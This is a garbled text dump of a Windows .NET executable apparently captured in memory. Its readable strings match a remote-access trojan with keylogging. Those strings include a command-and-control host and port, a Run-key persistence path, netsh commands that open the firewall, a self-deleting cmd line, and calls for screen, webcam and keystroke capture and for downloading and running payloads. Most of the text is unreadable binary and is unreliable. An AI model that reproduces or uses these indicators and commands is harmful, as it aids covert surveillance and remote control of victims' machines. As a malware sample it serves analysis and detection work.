Executable loaded in memory "MZ@ !L!This program cannot be run in DOS mode. $PEL|iVt @ @ d(6 dd(, 1%( ( **,, 0] (~7 (8 ,r5p @(9 ((6 o( (&( %( r5p ( *GG 0Trp(: r#p( (&(; %( r'p ( *>> 0n(< o= +T o> +6o? r/p( o@ ,oA o? oB *2 2*(*0w oC oD oC oD (E .*oF oF oG oD oG oD (E -*oH oH _,*-*-*0W( ~o o ~o ~oI %( ( ~o oJ ~o ~oI %( ( r3p~oK rp( (L &%( ( ~,)~o5 ($ r#p~rp(M (N %( ( ~o o rpo ~oO %( ( rp~oK rp( (L &%( ( (P *L'3 A'h v$ 2 ' $B 0 (Q ~9~~(: oD r#p~oD ( s (,8~(: r#p~( (R ,~(: r#p~( (N ~(: r#p~( sS ~oK (T oU oV oW ~(: r#p~( s ~oK (X &(P %( (P ( rprp(Y %( ( rp~oK rWp~oC r_p(Z (L &%( ( ~ 9~o o ~o ~rp~oK rqp( o[ %( ( ~o oJ ~o ~rp~oK rqp( o[ %( ( ~,`~oK ($ r#p~rp(M (\ ($ r#p~rp(M sS %( ( *LM 1 ?U ? ?: PQ 0 T(~ (# %%rKp(E 3%r{p(E 3)r{p~ ~|(( (&%rp(E @&&rp(E 3( &ݬ&rp(E 3P( &rp~ ( ( ~ ( r5p( (] ( (&L&rp(E @ (,%rp(E @Zo^ 3ys ~ ~ (M o( o_ o` (݂%( rp~ rp( (&rp(&( ݓ sa ob 7%( rp~ rp( (&rp(&( H rp(&(c r/p( (d (X &rp~ rps oC (M (& %( rp~ rpoe (M (&( ݿ %r1p(E @/( t o( _,F''r9p'~ ''~ '(f '(Z (&; o( 1ws '''~ ''~ ''~ '(Z o( o_ o` ( ( &''r9p'~ ''~ '(f '(Z (& r?p(( rCp((~((g rGp((~((g rKp((((g rSp(h &+(Q ~8 r_p(i 8(j (k (l , rgp((8((g }%rop(E @( t o( _,F''r9p'~ ''~ '(f '(Z (&o( 1Ms ~ ~ (M o( o_ o` ( ( &''r9p'~ ''~ '(f '(Z (& r?p(( ''rop'~ ''~ 'rwp(i ( ))('(Z (&%r}p(E @(m on //(o (m on 00(p sq (r 1os ot (u 1 ov (w 0(x 1 (u 1(y 0oz %( ( o{ (| (| s} (r os ot o~ o{ s r}p~ ( ))(o_ s ( o o` (~(E . o` o0 o_ +o o` (&o5 o5 o o >%rp(E 3r22rp(E 3 (2rp(E 3((P 2rp(E @D(~oK (X &(P ݼ%rp(E @ro^ 3us ~ ( o( o_ o` (݃%( rp~ rp( (&rp(&( $sa ob 7%( rp~ rp( (&rp(&( rp(&(c rp( rp~ rps oC (M (& (Q (d rp( &3%( rp~ rpoe (M (&( A(7%rp(E @~-Urp(& + (Q ~ `~`,~~`,~rp(((338444(h &493( ( ( te%rp(E @s "~ ( o( !"!!o_ "o` (r?p(( ~rp33~3(g ~rp33~3(g ~rp33~3(g ݓ%( #1+rp(E rp(E `,''rp'~ ''~ '#oe '(Z (&%( $( ( *AGB7 7 )8a3 ) >7 6 D 7 H 3 D= 0Fs o r5p+ r p( ( 2*0&( o (&%( ( * 0~-*~( ~- ݣs ( rp( (o_ o_ ~o o` o0 o &@( 6%( ~,~o %( ( ( ~**(k 6 0 ((*0^ (Q ~( ~, ~o %( ( ~o5 %( ( %( ( s s ~ o ~ o ~o 'o ~o 'o ~~~(| o ((&rQpr5p( r5p( ,( rp( ++rQpr5p( ( ( rp( ~ rp ~ rp (Z ~rp( ~rp( ~( rp( ~( rp( ~ ( rp( ~ ( ( rp~ (( (&,%( ( %( ( ( ~*A%7 EQ A_ ;, m; 2P0r5p~-8j 3(Q ~-݉~o /~o o &~o 9Gj3wr5p ~o o 3432 ( r5p j3r5p(&j ~o >Z+ ( ( (| (f ( +~o ֍~o0 ~j1jڷ֍~o ~~o ~~o_ ~o0 3Fj !s s ~o` o do &~o5 s 8k%( ( ~,!~r%p(h &%( ( (-+8A4 * 0( ,9~o o r1prpo[ %( ( (Q ~s -(P (~-#~oC ~oF oG s s o s#~%-s s o %( ( r5p~ ,("s ( (%( ( (Q ~-r5p( 3%( ( o %( ( 2/ ((E .r7p~ ( (&~ 98~o o ~r#p~( r5po rp~oK rqp( ( ,=~o o ~o ~rp~oK rqp( o[ %( ( ~o oJ ~r#p~( r5po rp~oK rqp( ( ,=~o oJ ~o ~rp~oK rqp( o[ %( ( %( ( 8,A ' * 8N ' 6 0 2t(*(*( }r5p}r?p}*0(('&( ( {{ o (E _ o o( `,݀( } o }rIp( rQp( o rp{rep(Z %( ( r5p** 0s (% -r5p `(&( ('((( ($&o %( ( Uo **hh 0~o o ~o o , ,+ .. 3 rmpUo rqp( 5 .{ .s .k .f .^ .Y .Q .I .A p.< q.7 r.2 s.- t.( u.# v. w. x. y. z. {. #3r5p ݧ 3rp ݗ . 3"{rupo@ ,r5p srup k 3rp ^,(+o L(+ B%( ,( ( o ( ( ( oD ( *A*HB 0 {r5p( ( } () ~o o _ Co o( 1){o*( }{ ( }} 1 3V rp(| {o( 1 {{o( o }{{( &(Q 8 %( ( * ( *( *BSJBv2.0.50727l< #~ #Stringsl#US##GUID##BlobW5 3Y/<* P un | *|R@yn~n n $|R yn |n .[n _nHR~n > L nR d n& L R ^ u N.nAF< wn 03 53 #83 .:1=1@4C1G1J1M1O1Q1S7V7Z7^7b:e>hBjFm7p1sJuNyR{141 (1-1P : V _ 2 l ~ CT!qP!w"p"j&&&&& p'!'j!H(j!(!2):#<)#):%p+:%|.%;&@BD<aDpI>OW^Qejjn%nsy;xDS}ky +QZcIJ JI II! )))1 9Y-Y2A=IFSA\!Yi&)+)2QQ28q"F1>HaP8:iUa 1JZa/1System.Runtime.CompilerServicesCompilationRelaxationsAttribute.ctorRuntimeCompatibilityAttributeSystemObjectMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeSystem.IOFileInfoFileStreamMicrosoft.VisualBasic.DevicesComputerSystem.Net.SocketsTcpClientMemoryStreamConversionsToBooleanSystem.ReflectionAssemblyGetEntryAssemblyget_LocationByteExceptionMicrosoft.VisualBasic.MyServicesRegistryProxyServerComputerget_RegistryMicrosoft.Win32RegistryKeyget_CurrentUserStringConcatOpenSubKeyDeleteValueProjectDataSetProjectErrorClearProjectErrorRuntimeHelpersGetObjectValueGetValueRegistryValueKindCreateSubKeySetValueDateTimeOperatorsConditionalCompareObjectEqualToStringEnvironmentget_MachineNameget_UserNameFileSystemInfoget_LastWriteTimeget_DateComputerInfoget_Infoget_OSFullNameReplaceOperatingSystemget_OSVersionget_ServicePackMicrosoft.VisualBasicStringsCompareMethodSplitSpecialFolderGetFolderPathContainsRegistryKeyPermissionCheckGetValueNamesget_LengthConvertToBase64StringFromBase64StringSystem.TextEncodingget_UTF8GetBytesGetStringSystem.IO.CompressionGZipStreamStreamCompressionModeset_PositionReadBitConverterToInt32DisposeSpaceIntPtrZeroop_Equalityop_ExplicitInteractionEnvironConversionHexModuleTypeLoadGetModulesGetTypesget_FullNameEndsWithget_AssemblyCreateInstanceDirectoryInfoget_NameToLowerCompareStringget_Directoryget_Parentget_LocalMachineAppWinStyleShellFileDeleteDeleteSubKeyEndAppSystem.ThreadingThreadSleepExistsFileModeReadAllBytesWriteFlushCloseSystem.DiagnosticsProcessStartEnvironmentVariableTargetSetEnvironmentVariableCopySystem.NetWebClientSystem.DrawingGraphicsBitmapRectangleSizeConcatenateObjectget_CharsToArrayDownloadDataPathGetTempFileNameWriteAllBytesget_MessageNewLateBindingLateSetLateCallBooleanLateGetCompareObjectEqualOrObjectSystem.Windows.FormsScreenget_PrimaryScreenget_Boundsget_Widthget_HeightSystem.Drawing.ImagingPixelFormatImageFromImageCopyPixelOperationCopyFromScreenCursorCursorsget_DefaultPointget_PositionDrawToIntegerDrawImageImageFormatget_JpegSaveWriteByteRuntimeTypeHandleGetTypeFromHandleChangeTypeSystem.Security.CryptographyMD5CryptoServiceProviderHashAlgorithmComputeHashGetCurrentProcessget_HandleMonitorEnterInt32Socketget_ClientSocketFlagsSendExitset_ReceiveBufferSizeset_SendBufferSizeset_SendTimeoutset_ReceiveTimeoutConnectget_AvailableSelectModePollNetworkStreamGetStreamReadByteToLongChrWCharReceiveParameterizedThreadStartJoinCommandMutexThreadStartSessionEndingEventArgsSessionEndingEventHandlerSystemEventsadd_SessionEndingApplicationDoEventsset_MinWorkingSetConditionalCompareObjectNotEqualCompilerGeneratedAttributeDebuggerStepThroughAttributeSTAThreadAttributeKeysStringBuilderGetProcessByIdget_MainWindowTitleDateAndTimeget_Nowget_ProcessNameEnumKeyboardget_Keyboardget_ShiftKeyDownget_CapsLockToUpperget_CtrlKeyDownRemovej.exeavicap32.dllkernel32user32.dlluser32ntdllmscorlibOKjklAVNVRMTEXEDRRGHPYBDIdrIsFIsuLOFSFkqCnsfCMeMblastcapPLG.cctorNtSetInformationProcesshProcessprocessInformationClassprocessInformationprocessInformationLengthcapGetDriverDescriptionAwDriverlpszNamecbNamelpszVercbVerGetVolumeInformationGetVolumeInformationAlpRootPathNamelpVolumeNameBuffernVolumeNameSizelpVolumeSerialNumberlpMaximumComponentLengthlpFileSystemFlagslpFileSystemNameBuffernFileSystemNameSizeGetForegroundWindowGetWindowTextGetWindowTextAhWndWinTitleMaxLengthGetWindowTextLengthGetWindowTextLengthAhwndDLVnGTVretSTVttypinfENBsDEBSBSBSBZIPCamACTHWDPlugincEDCompDirF1F2UNSINSIndmd5priSendbconnectRCko_Lambda$__1a0_Lambda$__2a1LastAVLastASlastKeyLogsvnToUnicodeExadefgGetKeyboardStateMapVirtualKeyGetWindowThreadProcessIdGetKeyboardLayoutGetAsyncKeyStateAVVKCodeToUnicodeFixkWRKmain!MTggIDExIDIwMjU= 0.7dutorrentt.exe TEMPA302cf86c82c5759a74df2250aa0c84d8#rony.publicvm.com 1177|'|'| True[Software\Microsoft\Windows\CurrentVersion\RunSoftware\llvn_??yy-MM-dd??-??-??MicrosoftWindowsWin"! WinSP0x86 x64 x86YesNo.. SystemDrive\ERR.Mnetsh firewall delete allowedprogram "" .exeSoftware=cmd.exe /c ping 0 -n 2 & del "+SEE_MASK_NOZONECHECKS1Gnetsh firewall add allowedprogram "" "" ENABLE " ..kl prof~!getvalue@rnMSGExecute ERRORblaDownload ERRORExecuted As Execute ERROR invplAhposkstartOffoffretGTCAPunupUpdate ERRORUpdating To Update ERROR ExPLGindHPcERx2 :infcleardiact [kl] yy/MM/dd [][ENTER] [TAP] 20;hΖ@Tf? - 9 A A5 A Q U e i qu Ay - - ! % - 5= U e z\V4?_ :!% " Q9U Y UTWrapNonExceptionThrows555!55555555UU%555 555555 555555j5%555%%%%5%555%55 %55 55555 55 55555555U Y5 5UU5dt~t pt_CorExeMainmscoree.dll% @0HX PPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGp4"